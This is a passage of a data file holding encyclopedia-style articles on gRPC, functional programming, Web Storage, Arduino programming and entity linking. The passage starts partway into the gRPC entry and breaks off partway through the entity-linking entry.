grpc-web is one project that enables this.\n    + gRPC core is implemented in C: C is the default implementation but there are implementations in Go, Java, Swift, Dart and JavaScript.\n\n### If I'm developing a gRPC service, what's the recommended workflow?\n\nFirst you define the service methods and data using an IDL of your choice. Protocol Buffers is one possible choice of IDL. Definitions are stored in `*.proto` files. \n\nThe next step is to invoke the `protoc` compiler to generate code in languages of your choice. Many languages are supported as on June 2018: C++, Java, Python, Go, Ruby, C#, Node.js, Android Java, Objective-C, PHP and Dart. \n\nOn the client side, gRPC functionality is implemented in what's called a *stub*. Your app code can call into methods of the stub along with local objects as arguments. gRPC will translate the calls to gRPC requests to the server along with binary serialized protobuf. \n\n\n### How do I migrate my REST API-based web service to gRPC?\n\nMigrating a service to gRPC overnight might break many clients still using REST APIs. It's therefore recommended to have a transition period in which REST and gRPC services are both operational. Even in the long term, it might a good idea to redirect REST calls to gRPC. \n\nProject grpc-gateway is a way to generate *reverse proxy* code. grpc-gateway works as a plugin to protobuf compiler. The reverse proxy will then translate RESTful JSON API into gRPC method calls.\n\nWithin Google Cloud, transcoding HTTP/JSON to gRPC happens via what is called *Extensible Service Proxy (ESP)*. This is enabled by adding annotations in your `*.proto` files or separately in YAML files. \n\n\n### Who's been using gRPC in the real world?\n\ngRPC has been adopted by CoreOS, Netflix, Square, Cockroach Labs and etcd. Telecom companies Cisco, Juniper, and Arista are using it for streaming telemetry data and network configurations. Docker's containerd exposes functionality via gRPC. \n\nSquare moved from a proprietary RPC framework to gRPC and they have shared their experience on YouTube. Lyft has used gRPC along with Envoy. For some services, they used a Go implementation of gRPC. For others, they used Flask-Python with gevent, which didn't work well with gRPC. Hence, they used Envoy to bridge gRPC with HTTP/1.1 while using protobuf. \n\n\n### Could you share some performance numbers of gRPC?\n\nA benchmark test on Google Cloud using 9 gRPC channels compared gRPC performance versus HTTP1.1/JSON. gRPC achieved 3x throughput using only a fourth of the resources. On a per CPU basis, this was 11x the HTTP1.1/JSON throughput. This improvement is due to protobuf in which data is kept and transmitted in binary without involving any Base64 or JSON encoding/decoding. In addition, HTTP/2 can multiplex requests on a single connection and apply header compression. \n\nAnother test involving 300K requests of key/value stores in *etcd* showed that JSON took 1.6ms, single-client gRPC took 122.4µs and 100-client gRPC took 12.9µs. Memory usage per operation dropped by 44%. When comparing single-client and 100-client gRPC cases, the latter ran in one-fifth the time because multiple requests go on a single TCP connection. \n\nWhen sending files over gRPC, it's been shown that plain HTTP/2 is faster because there's no encoding or decoding; it's just raw data transmission. \n\n\n### How does gRPC compare against other RPC frameworks?\n\nWhen comparing different RPC frameworks, gRPC's deserialization can be slow compared to Cap'n Proto. Within gRPC, a C++ implementation is faster than one in Java, Go or Python. It should be noted that performance depends on the message complexity. Another benchmark tests showed that gRPC isn't the fastest. Cap'n Proto, rpclib and Thrift all perform better with Cap'n Proto being the best for deeply nested message structures. This could be because gRPC forgoes zero-copy approach that Cap'n Proto or Flatbuffers use. Instead, gRPC aims to encode data for smaller bandwidth requirements at the expense of extra CPU computation. \n\nThrift and gRPC both support code generation and serialization. However, Thrift doesn't use protobuf or HTTP/2. While REST+JSON API isn't RPC, Swagger is a tool that supports API design and code generation. gRPC alternatives in Java are many.\n\nSome developers might find it useful to study the implementation of different RPC mechanisms. Developer Renato Athaydes claims that gRPC doesn't work well with JVM types and hence provides his own version of RPC based on Protocol Buffers. \n\n## Milestones\n\nJul  \n2008\n\nInitial version of **Protocol Buffers** is released. Version 1.0 of Protocol Buffers (internal to Google) inspires the design and implementation of version 2.0, often called *proto2*. Profocol Buffers are also called *protobufs*. \n\nDec  \n2014\n\nVersion 3.0-alpha of Protocol Buffers (*proto3*) is released. A stable version 3.0.0 is released in July 2016. This development parallels that of gRPC. \n\nFeb  \n2015\n\nGoogle releases and open sources **gRPC** based on its vast experience in building distributed systems. Google states that they're starting to expose most their public services via gRPC endpoints. gRPC uses HTTP/2. Meanwhile, Internet Engineering Steering Group (IESG) approves HTTP/2 as a proposed standard. In May 2015, HTTP/2 is published as RFC 7540. gRPC itself is influenced by Stubby, an earlier RPC framework used by Google internally. \n\nAug  \n2016\n\nGoogle releases V1.0 of gRPC with improved usability, interoperability, and performance measurement. This version is now considered stable and production ready. Language support includes C++, Java, Go, Node, Ruby, Python and C# across Linux, Windows, and Mac; Objective-C and Android Java on iOS and Android. \n\nMar  \n2017\n\nCloud Native Computing Foundation (CNCF) adds gRPC to its portfolio. This means that CNCF will host and guide the development of gRPC.","meta":{"title":"gRPC","href":"grpc"}}
{"text":"# Functional Programming\n\n## Summary\n\n\nFunctional programming (FP) puts emphasis on functions, where functions are closer in spirit to mathematical functions than functions or subroutines in computer science. A function is something that takes inputs and returns outputs without any side effects. A set of inputs given to a function will always return the same set of outputs. This implies that functions do not depend on global variables, shared resources, the thread context or the timing across threads. Absence of side effects is essential to FP. \n\nFunctional programming has been around since the 1950s but they got sidelined by imperative languages such as C, C++ and Java. Today, in the context of parallel computing, synchronization across parallel threads can be difficult. FP has come to the rescue. FP enables clean abstractions, component design and interfaces making the program more declarative and shorter.\n\n## Discussion\n\n### What exactly do you mean by side effects?\n\nWhen a function relates to its external world in a hidden manner, then it has side effects. For a function without side effects, its inputs are passed explicitly as function arguments. It's output is via function return. Such a function does not receive inputs via global variables such as message queues, shared buffers, databases or files. Likewise, it does not modify external entities such as writing to a file or making an AJAX call in a web application.\n\nThe goal of FP is to reduce side effects, not completely eliminate them in the entire program. Since programs have to interface to users, write to files or make network calls, they cannot be without side effects. We can however make most of the program functional by writing functions without side effects. It's important to track which parts of the system are impure. Some languages have a type system to facilitate this. \n\nSometimes input and output are independently recognized as side causes and side effects respectively. More commonly, it's sufficient to use the term side effects to refer to both. \n\n\n### What conditions should a programming language satisfy to be considered functional?\n\nA pure FP language should prohibit side effects. FP places importance on expressions rather than statements. In this sense, FP is an instance of declarative programming, which implies that focus is on what is to be computed rather than how to compute it. Objects are immutable: once created, they cannot be changed. The focus is on data manipulated by functions rather than states stored within objects. It has been said that \"immutability and statelessness are core to functional programming.\" \n\nProgram state is tracked as part of function arguments. Thus, function recursion is preferred to looping based on loop variables. Data flow is more important than control flow and this facilitates concurrency. The order of function calls doesn't matter if the data flow is preserved. \n\nFP does not require dynamic typing or static typing for that matter. The use of compile-time AST (Abstract Syntax Tree) macros does not imply FP. \n\n\n### How is FP different from imperative programming?\n\nWith imperative programming, assignment of a variable is a common operation. For example, `x = x + 1` is a valid operation in C, C++ or Java. But this makes no sense from a mathematical perspective; that is, if we consider it as an equation, there's no solution for it. In FP, data is transformed but not mutated. Expressions are important but storing the result is not. Results are passed around to other functions.\n\nImperative programming is about objects and their states. FP is about pure functions and higher-order functions. Complex behaviour in FP can be constructed by composing simpler functions. If OOP is about passing objects, FP is about passing functions. With imperative programming, operations are specified step by step. Loops with loop variables are used to iterate over lists. With FP, the style is declarative. Recursion and list processing using iterators are common control structures.\n\nMichel Feathers tweeted in 2010 that, \n\n> OO makes code understandable by encapsulating moving parts. FP makes code understandable by minimizing moving parts.\n\n\n### Can you explain pure functions, first-class functions and higher-order functions?\n\nPure functions conform to the rules of lambda calculus. Programs written in pure FP will be referentially transparent and their correctness can be formally proven. A practical way to define pure functions is that they have no side effects and always produce the same outputs for the same inputs. This is also called determinism. Impure FP therefore have elements of FP such as higher-order functions but may allow mutation of variables or even access to data outside the scope of functions. Side effects could be a language feature or due to monads. Closures cannot be considered as pure functions. \n\nFirst-class functions can be assigned to variables, passed as arguments to other functions and can be returned from other functions. Functions in FP are first-class functions. Higher-order functions are functions that accept a function as argument and/or return a function as output. Thus, first-class functions is about the status that functions have in the language whereas higher-order functions are explicitly those that accept/return functions as input/output respectively. They eliminate loops. Code can be refactored to avoid repetitive code. Closures are examples of higher-order functions.\n\n\n### Can you point out some concepts/features of FP?\n\nWe may note the following:\n\n    + Closure: This is a data structure with a code pointer and an environment of bound variables, implemented as anonymous functions. Alternatively, \"a closure is a function's scope that's kept alive by a reference to that function.\"\n    + Referential transparency: This is a property of pure functions that always return the same outputs for the same inputs. Another way of stating this is that an object can be replaced by its value since objects are immutable. Equational reasoning can be applied to code for either provability or optimization.\n    + Currying: A function with multiple arguments is transformed into a chain of functions, each taking a single argument. Currying is useful to adapt a function to a form that some other function or interface expects. Currying is sometimes confused for partial functions.\n    + Composability: When functions perform specific tasks, we can use them as building blocks to compose more complex functionality. While composability is a concept, currying and pipelining may be considered as an implementations for it.\n\n### What techniques do FP languages use?\n\nWe may note the following:\n\n    + Tail call optimization: With recursion, FP usually supports tail call optimization that reuses the same stack frame for a sequence of recursive calls. Without this, program can run out of stack memory when recursion descends many levels deep.\n    + Pattern matching: A concise way to match a value or type and thereby avoid complex control structures.\n    + Lazy evaluation: Code will be executed only when required. Haskell does this well. Graph reduction is a technique to implement lazy evaluation.\n    + Partial functions: They wrap a function by fixing some arguments to values and retaining the rest as arguments. In fact, partial functions simplify implementation of closures.\n    + Pipelining: Pass the output of one function as input to another. Many function calls can be chained in a sequence in this way. Pipelining makes possible code reuse, unit testing and parallel execution.\n    + Continuation: This enforces execution in a specified order, which is particularly useful when lazy evaluation would skip execution.\n\n### Why or when should we use FP?\n\nWith multicore, multi-processor or networked systems, concurrency is becoming a challenge. With no side effects, FP is an approach that eliminates shared variables, critical sections and deadlocks. Erlang implements Actor concurrency model, meaning that messages are passed between threads rather than sharing variables. \n\nSince there are no side effects (and side causes), FP are easier to test and debug. Unit tests need to worry about only function arguments. Peeking into the stack is enough to debug issues. Hot code deployment is possible with FP since object instances holding states don't really exist in FP. Reability of code generally improves with FP. Code is concise since the focus is on what rather than how.\n\nFor mission-critical systems, program correctness can be proven formally. Likewise, compilers can transform code into more optimized forms. These are possible due to the mathematical basis on which FP is founded. Due to lazy evaluation, it's possible to optimize code, abstract control structures and implement infinite data structures. \n\n\n### Where is FP used in the real world?\n\nEricsson uses Erlang in telecommunication switches. AT&T uses Haskell for network security. Akamai content delivery network uses Clojure while Twitter uses Scala. Elm is a pure FP language that compiles to JavaScript. It is used by NoRedInk. Computer aided design (CAD) software often support AutoLISP. OCaml has been used for financial analysis and research. Scala is widely used for data science. Clojure is being used in wide range of applications from finance to retail. Hughes shows examples of using FP for numerical problems as well as gaming. \n\nMany uses of Haskell in industry is well documented. An annual conference named Commercial Uses of Functional Programming (CUFP) has been going on as early as 2004 to track and share use cases and best practices. As an example, the uses of Caml in industry was presented in 2007. \n\n\n### Which programming languages are considered as functional?\n\nWhile LISP is one of the earliest FP language, the following (non-exhaustive list) are among those being used commercially: Haskell, F#, Clojure, Scala, OCaml, SML, Erlang. Wikipedia gives lists of FP languages that are considered pure and impure. Excel may be considered as a FP language. \n\nIt's likely that object-oriented programming (OOP) will coexist with FP. For complex applications requiring concurrency, FP may be preferred. F# and Scala combine elements of FP and OOP. Some have even used the term \"object-functional programming\" to mark this trend. \n\nMany popular languages while not designed as FP, can be used in part as FP. Examples include Java, Python, and R. Sometimes third-party libraries or packages enable FP, such as Swiftz for Swift, Underscore.js for JavaScript and Fn.py for Python. Immutable.js in JavaScript enables data immutability.\n\n\n### Why did FP take so long to get popular?\n\nFP started with ideas rooted in mathematics, logic and formalism. This appealed to academics who approached it theoretically. It didn't appeal to the programming community who considered functions more as code blocks for partitioning behaviour and reusing code. To them, imperative programming (including OOP) was more practical. It was also believed that FP, with all its limitations, could not be used to build big complex programs. FP was also believed to be slower. \n\nSome have argued that FP involves abstraction. This can be difficult for programmers used to coding with loops and assignments. \n\n\n### How is FP different from lambda calculus?\n\nFP may be regarded as a practical implementation of lambda calculus. Lambda calculus was a tool to study the problem of computability. It is independent of physical constraints. FP is application of some ideas of lambda calculus. \n\n## Milestones\n\n1936\n\nAlonzo Church invents lambda calculus at Princeton University while formally investigating ways to program machines. This is part a bigger effort at Princeton where others including Alan Turing, John von Neumann and Kurt Gödel attempt to formalise mathematics and computing. \n\n1956\n\nIPL is created at Carnegie Institute of Technology and could be considered as the first FP language (in assembly), though it has some imperative language features. \n\n1958\n\nMIT professor John McCarthy invents List Processing Language (LISP) as the first implementation of Church's lambda calculus. Common Lisp and Scheme are two popular dialects of LISP. The influence of lambda calculus on Lisp has been challenged. \n\n1973\n\nProgrammers at MIT's Artificial Intelligence Lab build a Lisp machine. Thus Lisp got its own native hardware rather than running on von Neumann architecture. \n\n1973\n\nRobin Milner at the University of Edinburgh creates ML (Meta Language). OCaml and Standard ML (SML) are popular dialects of ML.\n\n1977\n\nJohn Backus publishes a paper describing the proper use of functions and expressions without assignments and storage. Some call this function-level programming but the paper influences FP.","meta":{"title":"Functional Programming","href":"functional-programming"}}
{"text":"# Web Storage\n\n## Summary\n\n\nClient-server interactions on the web are stateless. This means that a client request is independent of all previous requests. However, many applications require state to be maintained across requests. Examples are shopping on e-commerce sites or filling a form after login authentication. HTTP cookies sent with every request allow us to maintain state. Moreover, server may store session data, often in a database. \n\nWeb Storage is a client-side feature that allows web apps to store data or state on the client/browser without involving the server. Unlike HTTP cookies, storage is managed at the JavaScript layer.\n\nEach web storage area is bound to an origin, which is a triplet of domain, protocol and port. Thus, one domain can't access the storage of another. \n\nWeb Storage shouldn't be confused with cloud storage, which is about storing data on cloud computing platforms.\n\n## Discussion\n\n### Why should I use Web Storage when I can use cookies instead?\n\nCookies have been used to create client-side state but it has it's limitations. Cookies can be created only on the server and then exchanged with the client. Client must include the cookies with every request to the server. The amount of cookie storage is limited to 4KB. Cookies also are not persistent. They have an expiry time. \n\nW3C Recommendation for Web Storage notes an example in which a user could have the same site open in two windows. With a cookie implementation, the cookie would \"leak\" from one window to the other, with the user ending up with duplicate flight bookings. \n\nWith web storage, data can be stored on the client without any support from the server. This is useful for building Single Page Applications (SPAs). Unlike cookies, few megabytes can be stored. Two different types of storage areas are available: local and session. With the former, storage is persistent even if the browser is closed and reopened. \n\nSome browsers allow 10MB of web storage per origin while others allow 5MB. \n\n\n### In Web Storage, how is browser local storage different from session storage?\n\nLocal storage has no expiry. Even if the browser is closed, the data will persist. Session storage is limited to the current tab. It will be lost when the tab is closed. \n\nWith session storage on an e-commerce site, it's not possible to accidentally make double purchases just because the same site is open on two different tabs. Using local storage for this use case is not a good idea since the storage is accessible to all tabs opened to that site. \n\n\n### Could you share real-world examples of sites using Web Storage?\n\nBy 2011, many websites had started to use web storage. A Twitter search tool called Snapbird used it to remember the last person's Twitter stream that the user had searched from that browser. The assumption is that user is likely to continue the same search at a later time, thus saving some effort in retyping the name. Webbie Madness and CSS Lint are two other examples that use local storage to remember user's selection of checkboxes. \n\nWeb storage is not used to store sensitive content such as passwords, JSON Web Tokens or credit card information. However, one developer used it to store the hashed ID of an authenticated user. This hash is later used to give access to protected pages. For example, it can be used to maintain a shopping cart for an e-commerce site. \n\nIn social websites, relying on the server for data can involve complex technologies such server-side caching, distributed databases and DNS load balancers. Instead, web storage can be used to locally store recent chat messages, system notifications and news feeds. \n\n\n### What are the basics of managing Web Storage?\n\nThe API for using web storage is simple. No libraries need to be installed. Web storage can be used with plain JavaScript code. The storage is just key-value pairs with values being only strings. In case more complex data types need to be stored, such as JavaScript objects or arrays, they need to be serialized into strings. \n\nTo store `username` for example, we can use the syntax `localStorage.username = 'jsmith'` or `localStorage.setItem('username', 'jsmith')`. To retrieve data, use `localStorage.getItem('username')`. Use `localStorage.length` to know how many items are stored. A key can be accessed by its integer position `n` by calling `localStorage.key(n)`. To delete a key-value pair, call `localStorage.removeItem('username')`. Call `localStorage.clear()` to delete all pairs. \n\nThe syntax described above for `localStorage` is also applicable for `sessionStorage`. \n\nWhen either local or session storage is modified, `storage` event is fired. The event will contain key, old value and new value.  \n\nAn app will fail if it depends on web storage but not supported in a particular browser. The solution is to reliably ascertain browser support and have fallback code. \n\n\n### What are some common criticisms of Web Storage?\n\nWeb Storage is limited to storing strings. Although more complex data types can be serialized and stored as strings, this is seen as an \"ugly hack\". In terms of size, few megabytes may not be enough for data-intensive apps or apps that need to work offline. Moreover, it's not easy to know when storage is at its limit. \n\nProviding app functionality that's highly dependent on web storage can be problematic. Users might delete the data just as they tend to clear cookies.  \n\nThe API is synchronous, which implies data loading can block rendering on the main thread. This would be worse if files and images are stored. Likewise, for background processing, web workers can't be used since they can't access web storage. \n\nWeb Storage has security issues. Any JavaScript code on that page can access the storage. Cross-site scripting attacks are possible. Malicious JavaScript code can read the storage and send it to another domain of its choice. This is unlikely if the entire code was built in-house. However, it's common for apps to use third-party code, which could have been compromised.\n\n\n### Could you share some resources for working with Web Storage?\n\nBeginners can look at a demo of Web Storage as well as details of the storage event that's triggered by each change to the storage.\n\nThere are wrappers around Web Storage. *Lockr* allows developers to store non-string values as well. *Store.js* is similar to Lockr but with fallback should the browser lack support for web storage. *Crypt.io* (previously called secStore.js) adds a security layer. *Barn* provides a Redis-like interface. For asynchronous calls, *localForage* combines the easy-to-use Web Storage API with IndexedDB. A quick search on NPM will reveal many more packages related to local storage.\n\nPersistJS is a cross-browser alternative to client-side storage.\n\nIf your app uses web storage, it's easy to unit test your app even without access to browser's web storage. Web Storage can be *mocked* and one developer shows how to do this in Angular. \n\n\n### Which are the alternatives to Web Storage?\n\nFor sensitive data such as a session ID, it's better to use signed cookies. When using cookies, use the `httpOnly` cookie flag and set `SameSite=strict` and `secure=true`. For most other sensitive data, use server-side storage. \n\nFor non-string and non-sensitive data, use IndexedDB. This gives standard database features including primary keys, indexing, and transactions. For offline applications, we could use a combination of IndexedDB and Cache API that's often used by service workers. In fact, it's possible to create a polyfill to override default Web Storage API to store in IndexedDB and store asynchronously. \n\nWeb SQL used to be an alternative but W3C stopped working on this due to lack of implementations. \n\nApplication Cache is a text file to tell browsers what resources to cache. This could be useful for offline viewing of the site. It's more of a caching mechanism than client-side storage. \n\n## Milestones\n\nApr  \n2009\n\nW3C releases the first working draft of **Web Storage**. This draft defines both `localStorage` and `sessionStorage`. In addition, it defines an interface to store in databases. \n\nJun  \n2013\n\nW3C publishes **Web Storage** as a W3C Recommendation. Database storage defined in the first draft is deleted in the Recommendation. Both `localStorage` and `sessionStorage` are referred to as *IDL attributes*, following Web IDL (Interface Definition Language) that's used to describe interfaces web browsers are required to implement. The Recommendation also points out issues of user privacy and sensitive data, and how user agents (browsers) can mitigate the risks. \n\nApr  \n2016\n\nW3C publishes **Web Storage (Second Edition)** as a W3C Recommendation. \n\nApr  \n2019\n\nWeb storage is slow due to its synchronous nature. On the other hand, IndexedDB is asynchronous but has a more complex API. As a compromise, **KV Storage** is proposed. It's a key-value storage like web storage but with IndexedDB as the underlying storage. It becomes available with the release of Chrome 74 on an experimental basis. The trial ends with Chrome 76. In future, IndexedDB may come with a simpler API.","meta":{"title":"Web Storage","href":"web-storage"}}
{"text":"# Arduino Programming\n\n## Summary\n\n\nProgramming Arduino boards is done via a language called **Wiring**, which itself is based on Processing and C/C++ languages. We can think of Wiring as providing a simpler abstraction on top of the more complex C/C++ syntax. \n\nHardware can be programmed directly using a USB connection. Arduino IDE is open source and it supports all the Arduino variants. It's also possible to program the hardware from within a web browser after installing a plugin. \n\nEvery Arduino board will have constraints of memory, GPIO pins, and so on. Developers should be aware of these and optimize the code accordingly.\n\n## Discussion\n\n### Which are the basic programming constructs used in Arduino?\n\nEvery Arduino sketch must have two basic constructs: \n\n    + `setup()`: This is called once when the program starts, that is, when the board is powered up or is reset. This is the place to initialize interfaces, such as GPIO pin modes or baud rate for serial communication.\n    + `loop()`: This is called repeatedly and is the place for the main code. This is equivalent to `while (1) {…}` C code.For digital IO, we can use `digitalRead()` and `digitalWrite()`. Since a GPIO pin can be either input or output, it should first be setup using `pinMode()`. For analogue IO, we can use `analogRead()` and `analogWrite()`. \n\nLike in C/C++, control structures in Arduino include if-else, switch-case, for loops, do-while, break and continue. \n\nData types common in C language are available but there's also `String` class for easier manipulation of strings. `Serial` and `Stream` are also useful classes. \n\nThere are built-in math functions, timing functions, random number generation, bit-level operation, and interrupt processing. All of these are documented in the Arduino Reference.\n\n\n### What are the main features of the Arduino IDE?\n\nArduino programs are called *sketches*. Arduino IDE is more than a code editor for a sketch. It does syntax highlighting on the code. It includes a number of simple examples to learn programming. Examples are accessible via File→Examples menu. From the IDE, we can verify the sketch and upload the binary to the target hardware. Any errors in this process are shown to the user. \n\nThe IDE can target all hardware variants. This selection is done via Tools→Board menu. What's more, we can use the *Boards Manager* to install newer boards or update to newer versions of board libraries. Likewise, developers have easy access to hundreds of third-party libraries or install custom libraries from a Zip file. This is done via menu Sketch→Include-Library. \n\nTo monitor serial communications, there's Serial Monitor and Serial Plotter. If IoT data is being sent, Serial Plotter's visualization makes it easy to see what's happening. \n\nWe also mention that there are alternatives to the Arduino IDE for programming Arduino boards. Some names are PlatformIO, Eclipse Arduino and Atmel Studio. \n\n\n### How can I make the best use of limited memory resources on the Arduino?\n\nArduino Uno has only 2KB of SRAM. This means that not a lot of variables can be held in memory, particularly long strings. If SRAM is required for processing data, try offloading the processing to the cloud or another computer/device. If the range of your data can fit within a byte, use `byte` data type rather than two bytes of `int`. Use `String.reserve()` to avoid memory fragmentation. Prefer local to global variables. \n\nUsing `PROGMEM` keyword as part of data declaration, we can tell the compiler to store data in Flash. Using the macro `pgm_read_byte_near()`, we can read a byte from Flash. Similar macros exist for other data types: word, dword, float and ptr. If a string is defined inline, then the `F()` is useful to store it in Flash.  \n\nLet's note that the `const` keyword has read-only semantics, particularly useful for passing function arguments. It's not meant to tell the compiler where to store the data. \n\n\n### What exactly is Software Serial and why do we need it?\n\nSerial communications can be controlled using `Serial` class. This relies on the underlying UART hardware that's part of the microcontroller. Arduino Uno has one serial interface on pins 0 and 1. Due and Mega have four serial interfaces. What if we want another serial interface on the Uno? This is where Software Serial becomes useful.\n\nSerial communications can be implemented on any pair of digital pins using software. We don't have to write low-level code to do this since third-party libraries are available. SoftwareSerial is available in Arduino IDE by default. The main disadvantage is that if multiple software serial interfaces are used, only one can receive data at a time. Speeds are also limited compared to UART. AltSoftSerial is an alternative but it has other limitations. \n\nEither UART or software, serial interface operates at either 5V or 3.3V depending on the Arduino board. Don't connect them directly to RS232 serial port that operates at +-12V. Use a USB-to-serial adaptor in between. \n\n\n### How do I program the Arduino for analogue input?\n\nFor analogue input, there's `analogRead()` function. Arduino Uno uses a 10-bit *Analogue-to-Digital Converter (ADC)*. Since Uno runs on 5V, this implies that the ADC resolution is 5V/1024 = 4.88mV. It's possible to improve the resolution by sacrificing range. For example, calling `analogReference(INTERNAL)` sets the ADC reference to 1.1V and improves resolution to 1.1V/1024 = 1.07mV. Uno WiFi Rev2 board has a default reference of 0.55V.  \n\nDue, Zero and MKR Family boards use 3.3V reference and 12-bit ADC. Thus, their resolution is at 0.806mV. However, they default to 10-bit ADC and this can be changed using `analogReadResolution()`. It's interesting that this function can be used to specify a lower resolution (least significant bits are discarded) or a higher resolution (extra bits are zero-padded). \n\nAn external reference via the AREF pin can also be used and selected using `analogReference(EXTERNAL)`. It's important to call this before calling `analogRead()`. The input to AREF must also respect the allowed voltage range. \n\n\n### How do I program the Arduino for analogue output?\n\nOn most Arduino boards, analogue output is not actually a continuous signal but rather a stream of digital pulses called *Pulse Width Modulation (PWM)*. MKR and Zero boards are capable of true analogue on pin DAC0. Due can do this on pins DAC0 and DAC1. \n\nFor both PWM and true analogue, the relevant API to call is `analogWrite()`. Arduino Uno has PWM on pins 3, 10 and 11 at 490Hz and pins 5 and 6 at 980Hz. On Due, twelve pins can do PWM at 1000Hz. \n\nPWM is generated from timers. For example, ATmega328P used in the Uno has three timers. These can be used in one of two modes: Fast PWM or Phase-Correct PWM. However, these are low-level details not exposed via `analogWrite()`. \n\nCalled **Software PWM**, it's possible to generate PWM waveforms on digital pins. This approach is called *bit banging*. With this, we can also control the frequency of the pulses. The problem with Software PWM is that interrupts will affect timing, resulting in jitter. Another problem is that processor is dedicated to generating PWM and can't be doing anything else. \n\n\n### How do I program the Arduino for I2C and SPI interfaces?\n\nBoth I2C and SPI are synchronous protocols that rely on a clock line. In both cases, libraries are available: `Wire` for I2C and `SPI` for SPI. In addition, other specialized libraries might wrap these to further simplify programming. An example of this is Adafruit TMP007 library for the I2C-based infrared thermopile sensor. These libraries abstract away the actual pins used by these interfaces. \n\nI2C is also called Two-Wire-Interface (TWI). For I2C, the Wire library uses 7-bit slave addressing and 32 byte buffer. Pullup resistors are required for lines SDA and SCL. Uno has one I2C interface while Due has two. \n\nWith SPI interfacing, microcontroller is typically the master. We need to know some things about the slave: bit order, mode, and maximum clock speed. These must be configured using `SPI.beginTransaction(SPISettings(…))`. On Uno, pins 10-13 make up the SPI interface. MOSI, MISO and SCK are also available on the ICSP header. \n\n\n### How can I manage power consumption of my Arduino application?\n\nManaging power consumption is critical for battery-powered applications. When there's no activity, Arduino must go into sleep to save energy. The built-in function `delay()` gives some savings but more can be obtained by using the LowPower library. The problem with both approaches is that the system can't respond to interrupts while asleep. Sleep time is also limited to maximum 8 seconds. \n\nA better approach is to use the built-in `sleep_cpu()` along with interrupts. On Uno, hardware interrupts are available on pins 2 and 3. Depending on the application, interrupts can come from a sensor or an RTC module. \n\nYou can also slow down the clock to as low as 62.5kHz by setting the CLKPR register. An external crystal can be used for other clock values. This will need changes to bootloader and optionally to the Arduino IDE. **Optiboot** can be used to create a custom bootloader. \n\nOther hardware changes can reduce power. Replace the onboard voltage regulator with a more efficient DC-DC buck converter. Better still, make a custom board just right for your application. \n\n\n### Could you name some popular third-party libraries for the Arduino?\n\nRegistered Arduino libraries are listed online and also available from within the IDE. Libraries are organized by category, license and processor architecture. In June 2019, among the most starred or forked libraries were ArduinoJson, WiFiManager, FastLED, Blynk, IRremote, PubSubClient, Adafruit NeoPXL8, Adafruit NeoPixel, and MFRC522. \n\nDuring Jan-Mar 2019, these libraries recorded most downloads: Adafruit Circuit Playground, DHT sensor library, ArduinoJson, Servo, SD, Adafruit GFX Library, Adafuit NeoPixel, LiquidCrystal I2C, MFRC522, and Blynk. \n\nAmong the top contributors are Adafruit Industries, SparkFun Electronics, Seeed Studio, Arduino Libraries, and STM32duino. \n\nA curated list of libraries is available from Lembed. Another list appears on Arduino Playground site. Read a tutorial to create your own library.\n\n## Milestones\n\n2003\n\nHernando Barragán creates **Wiring** platform so that designers and artists can approach electronics and programming more easily. Wiring abstracts away the hardware pins with API calls such as `pinMode`, `digitalRead`, `analogWrite`, `delay`, etc. In fact, the syntax is defined before any hardware implementation. \n\nAug  \n2005\n\nArduino IDE and language library is released for the first time with the name **Arduino 0001**. Main sketch is compiled as C code but from Arduino 0004 (April 2006) it's compiled as C++ code. \n\nNov  \n2011\n\n**Arduino 1.0** is released. Sketches now use extension `*.ino` rather than `*.pde` used for Processing files. This version introduces the use of `F()` macro. This macro was invented about a year ago by Paul Stoffregen who invented the Teensy derivative of Arduino. \n\nOct  \n2012\n\nWith the release of **Arduino 1.5 Beta**, the IDE now supports both AVR 8-bit and ARM 32-bit. This is also the year when the first 32-bit Arduino is released with Arduino Due. \n\nMar  \n2019\n\nThere are more than 2,150 libraries registered with the Arduino Library Manager. These can be downloaded and installed directly from within the IDE. There are also over 7,000 libraries in the wild. Since v1.0.5, the latter can be installed from a Zip file. Meanwhile, **Arduino 1.8.9** is released with support for ARM64 such as NVIDIA Jetson and Raspberry Pi 3.","meta":{"title":"Arduino Programming","href":"arduino-programming"}}
{"text":"# Entity Linking\n\n## Summary\n\n\nFinding knowledge is one of the most popular tasks of Internet users. In most cases, query results are a mix of pages containing different entities that share the same name. \n\nEntity linking is the process of connecting entity mentions in text to their knowledgebase counterparts. Prospective information extraction, retrieval, and knowledgebase population are some applications of entity linking. This job, however, is difficult due to entity ambiguity and name variants. Because of the large number of web applications that produce knowledgebase data, major entity linking research has been conducted.\n\nIn many retrieval systems, a user would simply enter an entity or concept name into the retrieval system, and search results would be clustered by various entities/concepts that share that name. Additional details in the indexed records is one way to implement such a framework.\n\n## Discussion\n\n### What are the main steps in the entity linking process?\n\nEntity entity, in most cases, involves the three sub-tasks that are executed in this specific order:\n\n    + **Information Extraction**: Extract information from unstructured data.\n    + **Named Entity Recognition (NER)**: Individuals, places, organizations, and other real-world objects are examples of named entities. NER recognizes and classifies named entity occurrences in text into pre-defined categories. The role of assigning a tag to each word in a sentence is modeled as NER.\n    + **Named Entity Linking (NEL)**: Each entity identified by NER will be assigned a unique identity by NEL. NEL then attempts to link each entity to its description in a knowledgebase. The knowledgebase to be used depends on the program, but we may use Wikipedia-derived knowledgebases for open-domain text, such as Wikidata, DBpedia, or YAGO. **Wikification** refers to the process of connecting entities to Wikipedia.Entity linking can either be end-to-end involving both recognition and disambiguation. If gold standard named entities as available at the input, entity linking does only disambiguation.\n\n\n### What are the main issues with entity linking?\n\nThere are two main issues with entity linking:\n\n    + A phrase or word can be represented with multiple entities from the knowledgebase. For example, the entity *Japan* could mean Japan (national football team), Japan (country), Japan (Band), etc.\n    + A single entity from the knowledgebase can have multiple names that represent entities that belong to distinct concepts. Take the example of *bass* as shown in the figure. The image on the left represents bass in context of sound and music. The image on the right represents bass as a fish.The challenge for entity linking is to figure out the correct context to resolve these ambiguities and link each entity to the most suitable entries in the knowledgebase.\n\n\n### Which are the main entity recognition paradigms?\n\nFor Named Entity Recognition and Classification (NERC), we have the following machine learning approaches:\n\n    + **Supervised Learning**: Relies on distinctive features that separate positive and negative examples. From earlier handcrafted rules, supervised learning has evolved to automatically inferred rule-based systems or sequence labeling algorithms from a set of training examples. Currently a popular approach and has many variants: Hidden Markov Models (HMM), Decision Trees, Maximum Entropy Models, Support Vector Machines (SVM), and Conditional Random Fields (CRF). To solve entity ambiguity, Milne and Witten employed used Wikipedia entities as training data. Other approaches also collected training data based on unambiguous synonyms.\n    + **Semi-Supervised Learning**: Also called \"weakly supervised\", the most common approach is called *bootstrapping*. The learning process begins with a small amount of supervision, such as a collection of seeds. From these few samples, the model learns contextual clues that are then applied to the 